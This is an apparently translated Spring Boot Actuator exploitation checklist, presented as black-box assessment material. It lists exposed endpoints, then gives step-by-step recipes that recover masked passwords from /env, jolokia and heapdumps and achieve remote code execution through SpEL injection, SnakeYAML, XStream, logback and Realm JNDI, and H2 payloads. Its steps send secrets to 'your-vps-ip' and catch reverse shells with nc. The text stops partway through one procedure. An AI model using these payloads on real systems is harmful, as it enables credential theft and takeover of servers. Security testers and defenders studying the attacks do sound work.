Spring Boot related vulnerability learning materials, a collection of utilization methods and techniques, and a black box security assessment checklist.
Disclaimer
- Spring Boot Vulnerability Exploit Check List
- [zero: route and version](#zero route and version)
- [0x01: Routing knowledge] (#0x01 Routing knowledge)
- [0x02: Version knowledge] (#0x02 Version knowledge)
- [Interdependencies of component versions:] (# Interdependencies of component versions)
- [Dependencies between Spring Cloud and Spring Boot versions:] (dependencies between #spring-cloud-and-spring-boot-versions)
- [Suffix and meaning of Spring Cloud minor version number:](#spring-cloud-suffix and meaning of minor version number)
- [One: Information Leakage](#One Information Leakage)
- [0x01: Routing address and interface call details leaked](#0x01 Routing address and interface call details leaked)
- [0x02: Route exposed due to improper configuration](#0x02 Route exposed due to improper configuration)
- [0x03: Obtain the plaintext of the password desensitized by asterisks (method 1)](#0x03 Obtain the plaintext of the password desensitized by asterisks - method 1)
- [Conditions of use:](#Conditions of use)
- [How to use:](#How to use)
- [Step 1: Find the attribute name you want to get](#Step 1 - Find the attribute name you want to get)
- [Step 2: Jolokia calls the relevant MBean to obtain the plaintext] (#Step 2-jolokia-calls the relevant-mbean-obtains the plaintext)
- [0x04: Obtain the plaintext of the password desensitized by asterisks (method 2)](#0x04 Obtain the plaintext of the password desensitized by asterisks - method 2)
- [Usage Conditions:](#Usage Conditions-1)
- [Utilization method:](#Utilization method-1)
- [Step 1: Find the attribute name you want to get](#Step 1-Find the attribute name you want to get-1)
- [Step 2: Use nc to listen to HTTP requests](#Step 2-Use-nc-listen-http-request)
- [Step 3: Set eureka.client.serviceUrl.defaultZone property](#Step 3-Setting-eurekaclientserviceurldefaultzone-property)
- [Step 4: Refresh Configuration](#Step 4 - Refresh Configuration)
- [Step 5: Decode property value](#Step 5-Decode property value)
- [0x05: Obtain the plaintext of the password desensitized by asterisks (method 3)](#0x05 Obtain the plaintext of the password desensitized by asterisks - method 3)
- [Conditions of use:] (#Conditions of use-2)
- [How to use:](#Method to use-2)
- [Step 1: Find the attribute name you want to get](#Step 1-Find the attribute name you want to get-2)
- [Step 2: Use nc to listen to HTTP requests](#Step 2-use-nc-listen-http-request-1)
- [Step 3: Trigger external http request](#Step 3-Trigger external-http-request)
- [Step 4: Refresh Configuration](#Step 4-Refresh Configuration-1)
- [0x06: Obtain the plaintext of the password desensitized by asterisks (method 4)](#0x06 Obtain the plaintext of the password desensitized by asterisks - method 4)
- [Conditions of use:] (#Conditions of use-3)
- [How to use:](#Method to use-3)
- [Step 1: Find the attribute name you want to get](#Step 1-Find the attribute name you want to get-3)
- [Step 2: Download jvm heap information](#Step 2-download-jvm-heap-information)
- [Step 3: Use MAT to obtain the password plaintext in jvm heap](#Step 3 - use -mat-obtain the password plaintext in -jvm-heap-)
- [Two: Remote Code Execution](#Two Remote Code Execution)
- 0x01: whitelabel error page SpEL RCE
- [Conditions of use:] (#Conditions of use-4)
- [How to exploit:](#Method to exploit-4)
- [Step 1: Find a normal parameter passing place](#Step 1 find a normal parameter passing place)
- [Step 2: Execute SpEL expression](#Step 2 execute-spel-expression)
- [Vulnerability principle:] (# Vulnerability principle)
- [vulnerability analysis:] (#vulnerability analysis)
- [vulnerability environment:] (#vulnerability environment)
- 0x02: spring cloud SnakeYAML RCE
- [Usage Conditions:] (#Usage Conditions-5)
- [How to exploit:](#Method to exploit-5)
- [Step 1: Hosting yml and jar files](#Step 1-hosting-yml-and-jar-files)
- [Step 2: Set spring.cloud.bootstrap.location property](#Step 2-setting-springcloudbootstraplocation-property)
- [Step 3: Refresh Configuration](#Step 3 - Refresh Configuration)
- [Vulnerability principle:] (# Vulnerability principle-1)
- [vulnerability analysis:] (#vulnerability analysis-1)
- [vulnerability environment:] (#vulnerability environment-1)
- 0x03: eureka xstream deserialization RCE
- [Usage Conditions:] (#Usage Conditions-6)
- [How to exploit:](#Method to exploit-6)
- [Step 1: Set up a website responding to malicious XStream payload](#Step 1 set up a website responding to malicious-xstream-payload-)
- [Step 2: Listen to the port of the rebound shell] (#Step 2 listen to the port of the rebound-shell-)
- [Step 3: Set eureka.client.serviceUrl.defaultZone property] (#Step 3 setting -eurekaclientserviceurldefaultzone-property)
- [Step 4: Refresh Configuration](#Step 4 Refresh Configuration)
- [Vulnerability principle:] (# Vulnerability principle-2)
- [vulnerability analysis:] (#vulnerability analysis-2)
- [vulnerability environment:] (#vulnerability environment-2)
- [0x04: jolokia logback JNDI RCE] (#0x04jolokia-logback-jndi-rce)
- [Conditions of use:] (#Conditions of use-7)
- [How to exploit:](#Method to exploit-7)
- [Step 1: View existing MBeans](#Step 1 View existing-mbeans)
- [Step 2: hosting xml file](#step 2 hosting-xml-file)
- [Step 3: Prepare the Java code to be executed](#Step 3 prepare the -java-code to be executed)
- [Step 4: Set up malicious ldap service](#Step 4 set up malicious-ldap-service)
- [Step 5: Listen to the port of the rebound shell] (#Step 5 listen to the port of the rebound-shell-)
- [Step 6: Load log configuration file from external URL address](#Step 6 Load log configuration file from external-url-address)
- [Vulnerability principle:] (# Vulnerability principle-3)
- [vulnerability analysis:] (#vulnerability analysis-3)
- [vulnerability environment:] (#vulnerability environment-3)
- 0x05: jolokia Realm JNDI RCE
- [Conditions of use:] (#Conditions of use-8)
- [Exploitation method:] (# Exploitation method-8)
- [Step 1: View existing MBeans](#Step 1 View existing-mbeans-1)
- [Step 2: Prepare the Java code to be executed](#Step 2 Prepare the -java-code to be executed)
- [Step 3: hosting class files](#Step 3 hosting-class-files)
- [Step 4: Set up malicious rmi service](#Step 4 set up malicious-rmi-service)
- [Step 5: Listen to the port of the bounce shell] (#Step 5 listen to the port of bounce-shell-1)
- [Step 6: Send malicious payload](#Step 6 send malicious-payload)
- [Vulnerability principle:] (# Vulnerability principle-4)
- [vulnerability analysis:] (#vulnerability analysis-4)
- [vulnerability environment:] (#vulnerability environment-4)
- 0x06: restart h2 database query RCE
- [Conditions of use:] (#Conditions of use-9)
- [How to exploit:](#Method to exploit-9)
- [Step 1: Set spring.datasource.hikari.connection-test-query property](#Step 1 set-springdatasourcehikariconnection-test-query-property)
- [Step 2: Restart the application] (#Step 2 restart the application)
- [Vulnerability principle:] (# Vulnerability principle-5)
- [vulnerability analysis:] (#vulnerability analysis-5)
- [vulnerability environment:] (#vulnerability environment-5)
- 0x07: h2 database console JNDI RCE
- [Usage Conditions:](#Usage Conditions-10)
- [How to exploit:](#Method to exploit-10)
- [Step 1: Access routing to get jsessionid](#Step 1 Access routing to get -jsessionid)
- [Step 2: Prepare the Java code to be executed](#Step 2 prepare the Java code to be executed-java-code-1)
- [Step 3: hosting class files] (#step 3 hosting-class-file-1)
- [Step 4: Set up malicious ldap service](#Step 4 set up malicious-ldap-service-1)
- [Step 5: Listen to the port of the bounce shell] (#Step 5 listen to the port of bounce-shell-2)
- [Step 6: Send a package to trigger JNDI injection] (#Step 6 Send a package to trigger -jndi-injection)
- [vulnerability analysis:] (#vulnerability analysis-6)
- [vulnerability environment:] (#vulnerability environment-6)
- [0x08: mysql jdbc deserialization RCE] (#0x08mysql-jdbc-deserialization-rce)
- [Conditions of use:] (#Conditions of use-11)
- [How to exploit:](#Method to exploit-11)
- [Step 1: View environment dependencies](#Step 1 to view environment dependencies)
- [Step 2: Set up malicious rogue mysql server](#Step 2 set up malicious-rogue-mysql-server)
- [Step 3: Set spring.datasource.url property](#Step 3 set-springdatasourceurl-property)
- [Step 4: Refresh Configuration](#Step 4 Refresh Configuration-1)
- [Step 5: Trigger database query] (#Step 5 trigger database query)
- [Step 6: Restore normal jdbc url](#Step 6 Restore to normal-jdbc-url)
- [Vulnerability principle:] (# Vulnerability principle-6)
- [vulnerability analysis:] (#vulnerability analysis-7)
- [vulnerability environment:] (#vulnerability environment-7)
- 0x09: restart logging.config logback JNDI RCE
- [Conditions of use:] (#Conditions of use-12)
- [Method of Exploitation:] (#Method of Exploitation-12)
- [Step 1: hosting xml file](#step 1 hosting-xml-file)
- [Step 2: hosting malicious ldap services and codes] (#Step 2 hosting malicious-ldap-services and codes)
- [Step 3: Set logging.config property](#Step 3 set-loggingconfig-property)
- [Step 4: Restart the application] (#Step 4 restart the application)
- [Vulnerability Principle:] (# Vulnerability Principle-7)
- [vulnerability analysis:] (#vulnerability analysis-8)
- [vulnerability-environment:] (#vulnerability-environment-8)
- 0x0A: restart logging.config groovy RCE
- [Conditions of use:] (#Conditions of use-13)
- [How to exploit:](#Method to exploit-13)
- [Step 1: hosting groovy files](#step 1 hosting-groovy-files)
- [Step 2: Set logging.config property](#Step 2 set-loggingconfig-property)
- [Step 3: Restart the application] (#Step 3 restart the application)
- [Vulnerability Principle:] (# Vulnerability Principle-8)
- [vulnerability environment:] (#vulnerability environment-9)
- 0x0B: restart spring.main.sources groovy RCE
- [Conditions of use:] (#Conditions of use-14)
- [Method of Exploitation:] (#Method of Exploitation-14)
- [Step 1: hosting groovy files](#step 1 hosting-groovy-files-1)
- [Step 2: Set spring.main.sources property](#Step 2 set-springmainsources-property)
- [Step 3: Restart application] (#Step 3 restart application-1)
- [Exploitation Principle:] (#Exploitation Principle-9)
- [vulnerability environment:] (#vulnerability environment-10)
- 0x0C: restart spring.datasource.data h2 database RCE
- [Conditions of use:] (#Conditions of use-15)
- [How to exploit:](#Method to exploit-15)
- [Step 1: hosting sql file](#Step 1 hosting-sql-file)
- [Step 2: Set spring.datasource.data property](#Step 2 set-springdatasourcedata-property)
- [Step 3: Restart the application] (#Step 3 Restart the application-2)
- [Vulnerability principle:] (# Vulnerability principle-10)
- [vulnerability environment:] (#vulnerability environment-11)
- 0x01: whitelabel error page SpEL RCE
- [zero: route and version](#zero route and version)
- Some programmers will customize
/manage
,/management
, Project App related name as the spring root path - In Spring Boot Actuator version 1.x, the default built-in route starts at
/
, and in version 2.x, it uses/actuator
as the starting path - The default built-in routing name of Spring Boot Actuator, such as
/env
, is sometimes modified by programmers, such as/appenv
Spring Cloud is based on Spring Boot to build services, and provides common functions such as configuration management, service registration and discovery, intelligent routing and other common functions to help quickly develop a series of ordered collections of distributed systems.
| Dependencies | Version List and Dependent Component Versions | | -------------------------- | ---------------------- ----------------------------------------- | | spring-boot-starter-parent | spring-boot-starter-parent | | spring-boot-dependencies | spring-boot-dependencies | | spring-cloud-dependencies | spring-cloud-dependencies |
| Spring Cloud Major Version | Spring Boot Version | | ------------------- | ----------------------------- ------- | | Angel | Compatible with Spring Boot 1.2.x | | Brixton | Compatible with Spring Boot 1.3.x, 1.4.x | | Camden | Compatible with Spring Boot 1.4.x, 1.5.x | | Dalston | Compatible with Spring Boot 1.5.x, not 2.0.x | | Edgware | Compatible with Spring Boot 1.5.x, not compatible with 2.0.x | | Finchley | Compatible with Spring Boot 2.0.x, not 1.5.x | | Greenwich | Compatible with Spring Boot 2.1.x | | Hoxton | Compatible with Spring Boot 2.2.x |
| Minor version number suffix | Meaning | | -------------- | ---------------------------------- ----- | | BUILD-SNAPSHOT | Snapshot version, the code is not fixed, it is changing | | MX | Milestone Edition | | RCX | Release Candidate | | RELEASE | Official Release | | SRX | (bug fixes and re-release) release |
Developers do not realize that address leakage will lead to security risks or when the development environment is switched to an online production environment, the relevant personnel did not change the configuration file, forgot to switch the environment configuration, etc.
Directly visit the following two swagger-related routes to verify whether the vulnerability exists:
/v2/api-docs
/swagger-ui.html
Some other related interface routes such as swagger, swagger codegen, swagger-dubbo that may be encountered:
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/
swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
In addition, the following spring boot actuator-related routes sometimes contain (or infer) some interface address information, but parameter-related information cannot be obtained:
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
Generally speaking, exposing the relevant interface and parameter information of the spring boot application is not considered a vulnerability, but in terms of "default security", it is safer not to expose this information.
For attackers, the exposed interfaces are generally carefully audited to increase the understanding of the business system, and at the same time, the application system is checked for unauthorized access, unauthorized access, and other business types of vulnerabilities.
Mainly because programmers did not realize that exposing routes may cause security risks during development, or did not develop according to standard procedures, and forgot to modify/switch the configuration of the production environment when going online
Refer to production-ready-endpoints and [spring-boot.txt] (https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt), the default built-in routes that may be exposed due to improper configuration may have:
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
Among them, the interfaces that are more important for finding vulnerabilities are:
-
/env
,/actuator/env
A GET request
/env
will directly leak information such as environment variables, intranet addresses, and user names in configuration; when the programmer’s attribute name is not standardized, for example, when password is written as psasword or pwd, the plaintext of the password will be leaked;At the same time, there is a certain probability that some attributes can be set through the POST request
/env
interface to indirectly trigger related RCE vulnerabilities; at the same time, there is a probability to obtain the plaintext of important private information such as passwords and keys covered by asterisks. -
/refresh
,/actuator/refresh
After POST requests the
/env
interface to set attributes, it can also cooperate with the POST request/refresh
interface to refresh attribute variables to trigger related RCE vulnerabilities. -
/restart
,/actuator/restart
This interface is rarely exposed; you can use the POST request
/env
interface to set properties, and then POST request/restart
interface to restart the application to trigger related RCE vulnerabilities. -
/jolokia
,/actuator/jolokia
You can use the
/jolokia/list
interface to find usable MBeans, indirectly trigger related RCE vulnerabilities, obtain the plaintext of important private information covered by asterisks, etc. -
/trace
,/actuator/httptrace
Some http request packets access tracking information, in which it is possible to find some request information details of the intranet application system; and valid user or administrator cookies, jwt token and other information.
When accessing the /env interface, spring actuator will replace the attribute values corresponding to some attribute names with sensitive keywords (such as password, secret) with * to achieve desensitization effect
- The target website exists
/jolokia
or/actuator/jolokia
interface - The target uses the
jolokia-core
dependency (version requirements are not yet known)
GET requests the /env
or /actuator/env
interface of the target website, search for the ******
keyword, and find the attribute name corresponding to the attribute value masked by the asterisk *.
Replace security.user.password
in the example below with the actual attribute name to be obtained, and send the packet directly; the plaintext value result is included in the value
key in the response packet.
- Call
org.springframework.boot
Mbean
Actually call the getProperty method of the org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar class instance
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin", "operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"] }
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin", "operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"] }
- Call
org.springframework.cloud.context.environment
Mbean
Actually call the getProperty method of the org.springframework.cloud.context.environment.EnvironmentManager class instance
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager", "operation": "getProperty", "type": "EXEC", "arguments": ["security.user .password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager", "operation": "getProperty", "type": "EXEC", "arguments": ["security.user .password"]}
- Call other Mbeans
The specific situation of the target may be different from the existing Mbean. You can search for keywords such as getProperty to find methods that can be called.
- You can GET the
/env
of the target website - You can POST to
/env
of the target website - You can POST to request the
/refresh
interface of the target website to refresh the configuration (there isspring-boot-starter-actuator
dependency) - The target uses the
spring-cloud-starter-netflix-eureka-client
dependency - The target can request the attacker's server (the request can go out of the Internet)
GET requests the /env
or /actuator/env
interface of the target website, search for the ******
keyword, and find the attribute name corresponding to the attribute value masked by the asterisk *.
Listen to port 80 on the external network server controlled by yourself:
nc -lvk 80
Replace security.user.password
in http://value:${security.user.password}@your-vps-ip
below with the corresponding asterisk * masked attribute name you want to obtain;
your-vps-ip
is replaced with the real ip address of your external network server.
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
If it is normal, the server monitored by nc will receive the request from the target at this time, which contains the following Authorization
header content:
Authorization: Basic dmFsdWU6MTIzNDU2
Use base64 to decode the dmFsdWU6MTIzNDU2
part, and you can get the plaintext value value:123456
, where 123456
is the plaintext of the target asterisk * attribute value before desensitization.
- Set the attribute through POST
/env
to trigger the target to initiate any http request to the specified address on the external network - The target can request the attacker's server (the request can go out of the Internet)
Referring to issue-1 proposed by UUUUnotfound, you can use placeholders in the url path to bring out data when the target sends an external http request
GET requests the /env
or /actuator/env
interface of the target website, search for the ******
keyword, and find the attribute name corresponding to the attribute value masked by the asterisk *.
Listen to port 80 on the external network server controlled by yourself:
nc -lvk 80
spring.cloud.bootstrap.location
method (**also applies to cases where there are special url characters in plaintext data)
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
eureka.client.serviceUrl.defaultZone
method (not applicable when there are special url characters in plaintext data)
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
When accessing the /env interface, spring actuator will replace the attribute values corresponding to some attribute names with sensitive keywords (such as password, secret) with * to achieve desensitization effect
- Can normally GET request target
/heapdump
or/actuator/heapdump
interface
GET requests the /env
or /actuator/env
interface of the target website, search for the ******
keyword, and find the attribute name corresponding to the attribute value masked by the asterisk *.
The size of the downloaded heapdump file is usually between 50M and 500M, and sometimes it may be larger than 2G
GET
requests the /heapdump
or /actuator/heapdump
interface of the target to download the real-time JVM heap information of the application
Refer to the article method, use the OQL of the Eclipse Memory Analyzer tool sentence
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
or
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
Use keywords such as "password" to quickly filter and analyze to obtain the plaintext of relevant sensitive information such as passwords.
Since the spring boot-related vulnerabilities may be caused by a combination of multiple component vulnerabilities, some of the vulnerability names are not formal, whichever can be distinguished
- spring boot 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0
- Know at least one interface and parameter name that triggers the springboot default error page
For example, if you find access to /article?id=xxx
, the page will report an error with status code 500: Whitelabel Error Page
, then subsequent payloads will be tried at the parameter id.
Enter /article?id=${7*7}
, if you find that the error page calculates the value 49 of 7*7 and displays it on the error page, you can basically confirm that the target has a SpEL expression injection vulnerability.
Convert from string format to 0x**
java byte form, which is convenient for executing arbitrary code:
# coding: utf-8 result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result. rstrip(','))
Execute open -a Calculator
command
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75 ,0x6c,0x61,0x74,0x6f,0x72}))}
- The spring boot processing parameter value is wrong, and the process enters the
org.springframework.util.PropertyPlaceholderHelper
class - At this time, the parameter value in the URL will be recursively parsed using the
parseStringValue
method - The content surrounded by
${}
will be parsed and executed by theresolvePlaceholder
method of theorg.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
class as a SpEL expression, resulting in an RCE vulnerability
[SpringBoot SpEL expression injection vulnerability - analysis and recurrence] (https://www.cnblogs.com/litlife/p/10183137.html)
repository/springboot-spel-rce
Normal access:
http://127.0.0.1:9091/article?id=66
Execute the open -a Calculator
command:
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20 ,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
- You can POST request to the
/env
interface of the target website to set properties - You can POST to request the
/refresh
interface of the target website to refresh the configuration (there isspring-boot-starter-actuator
dependency) - The target depends on
spring-cloud-starter
version < 1.3.0.RELEASE - The target can request the attacker's HTTP server (the request can go out to the Internet)
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# Use python to quickly open http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Place the file example.yml
with the suffix yml
in the root directory of the website, the content is as follows:
!!javax.script.ScriptEngineManager[ !!java.net.URLClassLoader[[ !!java.net.URL ["http://your-vps-ip/example.jar"] ]] ]
Place the file example.jar
with the suffix of jar
in the root directory of the website. The content is the code to be executed. Refer to [yaml-payload](https://github.com/artsploit/yaml- payload).
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
- The spring.cloud.bootstrap.location property is set to the URL address of the external malicious yml file
- refresh triggers the target machine to request the yml file on the remote HTTP server to obtain its content
- Due to the deserialization vulnerability of SnakeYAML, it will complete the specified action when parsing malicious yml content
- First trigger java.net.URL to pull the malicious jar file on the remote HTTP server
- Then look for the class that implements the javax.script.ScriptEngineFactory interface in the jar file and instantiate it
- Execute malicious code when instantiating a class, causing RCE vulnerability
Exploit Spring Boot Actuator's Spring Cloud Env Study Notes
repository/springcloud-snakeyaml-rce
Normal access:
http://127.0.0.1:9092/env
- You can POST request to the
/env
interface of the target website to set properties - You can POST to request the
/refresh
interface of the target website to refresh the configuration (there isspring-boot-starter-actuator
dependency) - The target uses
eureka-client
< 1.8.7 (usually included in thespring-cloud-starter-netflix-eureka-client
dependency) - The target can request the attacker's HTTP server (the request can go out to the Internet)
Provide a python script example that depends on Flask and meets the requirements, the function is to use the built-in python to reverse the shell.
Use python to run the above script on the server you control, and modify the ip address and port number of the rebound shell in the script according to the actual situation.
Generally use nc to monitor the port and wait for the rebound shell
nc -lvp 443
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
- The eureka.client.serviceUrl.defaultZone property is set to a malicious external eureka server URL address
- refresh triggers the target machine to request a remote URL, and the fake eureka server set up in advance will return a malicious payload
- The target machine depends on parsing the payload, triggering XStream deserialization, causing RCE vulnerability
Spring Boot Actuator unauthorized access to getshell
repository/springboot-eureka-xstream-rce
Normal access:
http://127.0.0.1:9093/env
-
The target website exists
/jolokia
or/actuator/jolokia
interface -
The target uses
jolokia-core
dependencies (version requirements are not yet known) and related MBeans exist in the environment -
The target can request the attacker's HTTP server (the request can go out to the Internet)
-
Ordinary JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1(LDAP), but the related environment can be bypassed
Visit the /jolokia/list
interface to see if there are ch.qos.logback.classic.jmx.JMXConfigurator
and reloadByURL
keywords.
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# Use python to quickly open http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Place the example.xml
file ending with xml
in the root directory, the content is as follows:
<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /> </configuration>
Write an optimized Java sample code JNDIObject.java
for rebounding the shell,
Compile with a method compatible with lower versions of jdk:
javac -source 1.5 -target 1.5 JNDIObject.java
Then copy the generated JNDIObject.class
file to the website root directory in Step 2.
Download marshalsec, and use the following command to set up the corresponding ldap service:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Generally use nc to monitor the port and wait for the rebound shell
nc -lv 443
⚠️ If the target successfully requests example.xml and marshalsec also receives the target request, but the target does not request JNDIObject.class, the high probability is that the jdk version of the target environment is too high, resulting in JNDI utilization failure.
Replace the actual your-vps-ip address to access the URL to trigger the vulnerability:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
- Direct access to the URL that can trigger the vulnerability is equivalent to calling the
reloadByURL
method of thech.qos.logback.classic.jmx.JMXConfigurator
class through jolokia - The target machine requests the URL address of the external log configuration file to obtain the content of the malicious xml file
- The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability)
- Use
logback
dependency in xml fileinsertFormJNDI
tag, set the external JNDI server address - The target machine requests a malicious JNDI server, resulting in JNDI injection, resulting in an RCE vulnerability
spring boot actuator rce via jolokia
repository/springboot-jolokia-logback-rce
Normal access:
http://127.0.0.1:9094/env
- The target website exists
/jolokia
or/actuator/jolokia
interface - The target uses
jolokia-core
dependencies (version requirements are not yet known) and related MBeans exist in the environment - The target can request the attacker's server (the request can go out of the Internet)
- Normal JNDI injection is affected by the target JDK version, jdk < 6u141/7u131/8u121(RMI), but the related environment can be bypassed
Visit the /jolokia/list
interface to see if there are type=MBeanFactory
and createJNDIRealm
keywords.
Write an optimized Java sample code JNDIObject.java
for rebounding the shell.
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# Use python to quickly open http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Copy the class file compiled in Step 2 to the root directory of the HTTP server.
Download marshalsec, and use the following command to set up the corresponding rmi service:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Generally use nc to monitor the port and wait for the rebound shell
nc -lvp 443
Modify the target address in the springboot-realm-jndi-rce.py script according to the actual situation, RMI address, port and other information, and then run on the server under your control.
- Use jolokia to call createJNDIRealm to create JNDIRealm
- Set the connectionURL address to RMI Service URL
- Set contextFactory to RegistryContextFactory
- Stop Realm
- Start Realm to trigger JNDI injection of specified RMI address, causing RCE vulnerability
Yet Another Way to Exploit Spring Boot Actuators via Jolokia
repository/springboot-jolokia-logback-rce
Normal access:
http://127.0.0.1:9094/env
- You can POST request to the
/env
interface of the target website to set properties - You can POST request to the
/restart
interface of the target website to restart the application - There is a
com.h2database.h2
dependency (version requirements are not yet known)
⚠️ The 'T5' method in the following payload needs to be renamed (such as T6) every time the command is executed, and then it can be recreated and used, otherwise the vulnerability will not be triggered when the application is restarted next time
spring 1.x (execute command without echo)
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe' ,'c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x (execute command without echo)
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti',' me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc'); "}
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
- The spring.datasource.hikari.connection-test-query property is set to a malicious
CREATE ALIAS
SQL statement to create a custom function - Its properties correspond to the connectionTestQuery configuration of the HikariCP database connection pool, defining the SQL statement to be executed before a new database connection
- restart to restart the application, a new database connection will be established
- If the custom function in the SQL statement has not been executed, the custom function will be executed, causing RCE vulnerability
[remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed -actuators-and-h2-database)
repository/springboot-h2-database-rce
Normal access:
http://127.0.0.1:9096/actuator/env
- There is a
com.h2database.h2
dependency (version requirements are not yet known) - Enable h2 console in spring configuration
spring.h2.console.enabled=true
- The target can request the attacker's server (the request can go out of the Internet)
- JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1 (LDAP method)
Directly access the target and open the default route /h2-console
of h2 console, the target will jump to the page /h2-console/login.jsp?jsessionid=xxxxxx
, record the actual value of jsessionid=xxxxxx
.
Write an optimized Java sample code JNDIObject.java
for rebounding the shell,
Compile with a method compatible with lower versions of jdk:
javac -source 1.5 -target 1.5 JNDIObject.java
Then copy the generated JNDIObject.class
file to the website root directory in Step 2.
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# Use python to quickly open http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
